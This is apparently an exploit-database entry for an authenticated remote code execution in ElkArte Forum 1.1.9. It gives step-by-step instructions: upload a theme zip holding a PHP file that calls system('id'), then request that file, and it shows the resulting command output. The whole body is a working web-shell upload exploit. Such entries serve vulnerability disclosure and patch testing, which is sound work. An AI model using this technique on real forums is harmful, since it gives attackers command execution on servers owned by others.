ElkArte Forum 1.1.9 Remote Code Execution

`# Exploit Title : ElkArte Forum 1.1.9 - Remote Code Execution (RCE) (Authenticated)   
# Date: 2024-5-24  
# Exploit Author: tmrswrr  
# Category: Webapps  
# Vendor Homepage: https://www.elkarte.net/  
# Software Link : https://github.com/elkarte/Elkarte/releases/download/v1.1.9/ElkArte_v1-1-9_install.zip  
# Version : 1.1.9  
  
  
1) After login go to Manage and Install theme > https://127.0.0.1/ElkArte/index.php?action=admin;area=theme;sa=admin;c2e3e39a0d=276c2e3e39a0d65W2qg1voAFfX1yNc5m  
2) Upload test.zip file and click install > test.zip > test.php > <?php echo system('id'); ?>  
3) Go to Theme Setting > Theme Directory > https://127.0.0.1/ElkArte/themes/test/test.php  
Result : uid=1000(ElkArte) gid=1000(ElkArte) groups=1000(ElkArte) uid=1000(ElkArte) gid=1000(ElkArte) groups=1000(ElkArte)  
`